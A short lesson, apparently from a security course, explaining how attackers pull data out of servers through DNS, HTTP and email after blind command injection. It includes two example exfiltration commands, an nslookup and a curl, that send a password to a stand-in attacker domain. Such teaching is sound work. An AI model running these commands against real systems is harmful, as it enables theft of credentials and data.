Out-of-Band Data Exfiltration
What you'll learn: How attackers use alternative communication channels like DNS, HTTP, and email to extract data when direct command output isn't visible.
The Core Problem
When you've successfully exploited a blind command injection vulnerability (step 605), you can execute commands on the server, but you can't see the output directly in the application's response. It's like shouting into a soundproof room—your commands execute, but you get no feedback.
Out-of-band (OOB) data exfiltration solves this by making the compromised server send the data to you through a different communication channel that you control.
How It Works
Think of it like passing notes in class. If the teacher is watching the direct path (the application response), you send your message through a classmate (DNS, HTTP, or email) instead.
Common OOB Channels
DNS Queries: The attacker's most popular choice. You make the server perform a DNS lookup that includes stolen data in the subdomain:
nslookup stolen-password.attacker.com
You monitor your DNS server logs to capture "stolen-password."
HTTP Requests: Force the server to make a web request to your controlled server:
curl http://attacker.com/data?secret=admin-password
Email: Make the server send an email containing sensitive data to an address you control.
Why This Matters
OOB techniques turn "blind" vulnerabilities into fully exploitable ones. Even when the application doesn't show command output, attackers can still extract database credentials, configuration files, or any other sensitive information.
Key Takeaway: Out-of-band data exfiltration uses alternative communication channels (DNS, HTTP, email) to extract data from blind command injection attacks when direct output isn't visible.